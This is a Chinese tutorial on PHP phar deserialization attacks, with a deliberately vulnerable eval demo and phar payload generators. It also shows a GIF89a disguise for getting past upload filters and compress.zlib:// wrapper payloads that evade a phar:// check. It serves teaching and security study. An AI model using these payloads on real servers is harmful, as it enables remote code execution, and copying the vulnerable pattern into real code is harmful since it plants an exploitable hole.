phar反序列化攻击

phar反序列漏洞

通常我在利用反序列化漏洞时一般是将payload传入unserialize()中;但是随着代码的安全性越来越高,利用的难度也会越来越大;但是在之前的Black Hat上,
安全研究员Sam Thomas分享了议题It’s a PHP unserialization vulnerability Jim, but not as we know it,利用phar文件会以序列化的形式储存用户
定义的meta-data这一个特性,拓展了php反序列的攻击面。
该漏洞在文件系统函数(fileatime、file_excits()等)参数可控的情况下;可以配合phar://伪协议在没有unserialize()的情况下进行反序列化攻击

phar反序列漏洞原理

phar文件结构

phar是php的压缩文件,多个php代码和其他资源可以被压缩进一个phar文件中;并且不用经过解压就可以被php直接访问,此时是利用phar://伪协议去打开压缩文件的,之所以会出现phar反序列化是因为phar文件是以序列化的形式储存在用户自定义的meta-data,但是当它以流的形式打开时,会自动的反序列化,相当于在没有unserialize()的情况下自动实现反序列化
流包装器

1
2
3
4
5
6
7
8
9
10
11
12
file:// — 访问本地文件系统,在用文件系统函数时默认就使用该包装器
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

一个phar文件是由四部分组成的:
1.stub:
phar的标志,就像GIF89是图片的标志;它的格式为

1
xxx<?php xxx;__HALT_COMPILER();?>

此时的xxx可以为自定义的内容,但是必须要以__HALT_COMPILER;?>结尾;否则phar扩展无法识别这个文件为phar文件
2.manifest_describing the contents:
这里储存着压缩文件的信息,每个被压缩文件的权限,属性等信息都放在了这里,这里会以序列化的形式储存着用户自定义的meta-data,这是phar反序列化攻击最核心的地方,这个地方是我们可控的我们可以将精心构造的payload放在这里

3.the file contents:被压缩的文件内容,这个一般不影响
4.signature for verifying Phar integrity:签名,放在文件的末尾

tips:其实这四条只有前面两条比较重要,后两条都是来打酱油的,总结下来就是两点:一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容是没有限制的,也就是说我们可以构造一个图片文件或者pdf文件来绕过上传的限制,将这个phar文件上传上去;二是phar文件存储meta-data时会先将内容序列化后再存入进去,当文件操作函数通过phar://伪协议解析phar文件时就会先将数据反序列化,这样就可以构成反序列化攻击

phar文件生成测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
highlight_file(__FILE__);
header("Content-Type:text/html;charset=utf-8");
class Test{
public $name='HHHHeey';
}
$a = new Test();
$phar = new Phar("phar.phar"); //生成一个phar文件,名字为phar.phar
$phar -> startBuffering(); //下面细讲
$phar -> setStub("<?php __HALT_COMPILER(); ?>"); //设置stub头
$phar -> setMetadata($a); //将创建的对象a写入到Metadata中
$phar -> addFromString("test.txt","testaaa"); //添加要进行压缩的文件,文件名为test,文件内容为testaaa
$phar -> stopBuffering();//下面细讲
?>

startBuffering()和stopBuffering():其实我们只需要知道在创建Phar文件前记得先startBuffering,在写入结束之后记得stopBuffering停止缓冲就行
此时我们发现meta-data中的确实是以序列化的形式存在的

而当php的文件操作函数通过phar://解析phar文件时会先将mata-data进行反序列化;所以此时我们不需要unserialize()就可以进行反序列化攻击
创宇404实验室的研究员 seaii 更为我们指出了所有文件函数均可使用

此时来看一下php底层代码的处理

easydemo测试

存在漏洞的test.php

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
error_reporting(0);
class Test{
public $code;
public function __destruct(){
eval($this -> code);
}
}
$filename = $_GET['filename'];
file_get_contents($filename);
?>

我们知道此时并没有对我们以get提交的filename做任何过滤处理,并且使用了危险函数eval()
payload:

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $code = 'phpinfo();';
}
$a = new Test();
$phar = new Phar("a.phar");
$phar -> startBuffering();
$phar -> setStub("<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","aaatest");
$phar -> stopBuffering();
?>

然后我们本来应该把这个phar文件上传上去然后再用phar://伪协议去解析它,这里因为是本地测试,我们就不搞那么麻烦了,我们直接把生成的phar文件放到test1.php的目录下,然后直接用相对路径去访问即可

将phar伪造成其他格式的文件

但在实际的利用中,我们是需要把文件上传上去的,而存在文件上传的地方一般都会有限制,可能是白名单过滤并且会检测该文件是不是图片文件,如果遇到这种情况我们就可以伪造一个GIF89a的文件头,并且把后缀改成jpg来绕过过滤,因为phar://可以解析任意后缀名

1
2
3
4
5
6
7
8
9
10
11
12
<?php
class Test{
public $code = 'phpinfo();';
}
$a = new Test();
$phar = new Phar("a.phar");
$phar -> startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar -> setMetadata($a);
$phar -> addFromString("test.txt","aaatest");
$phar -> stopBuffering();
?>

EzBypass

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
#phar_test.php
highlight_file(__FILE__);
require_once('phar_class.php');
$url=$_GET['url'];
$URL=preg_match('/^[phar]+:\/\//i',$url);
//var_dump($URL);
if($URL===1){
echo "<br>Bad Hacker!";
} else {
file_get_contents($url);
}
?>

此时可以看到preg_match(‘/^[phar]+:///i’,$url)可以知道此时对我们的url头进行了严格的过滤;此时可以利用规则函数进行绕过compress.zlib://或者
compress.bzip2://
利用的原理依旧时是phar://读取文件
payload:

1
2
3
4
?url=compress.zlib://phar://phar.gif
?url=compress.bzip2://phar://phar.gif
@include('php://filter/read=convert.base64-encode/resource=phar://phar.phar');
mime_content_type('php://filter/read=convert.base64-encode/resource=phar://phar.phar')

实际利用

利用条件:
1.phra文件可上传至服务器端
2.要有可利用的魔术魔方作为跳板
3.文件操作参数可控
phar://协议可利用的函数(最主要的在于调用了php_stream_open_wrapper_ex)
受影响函数列表;当看到这些函数出现时可以试试phra反序列化攻击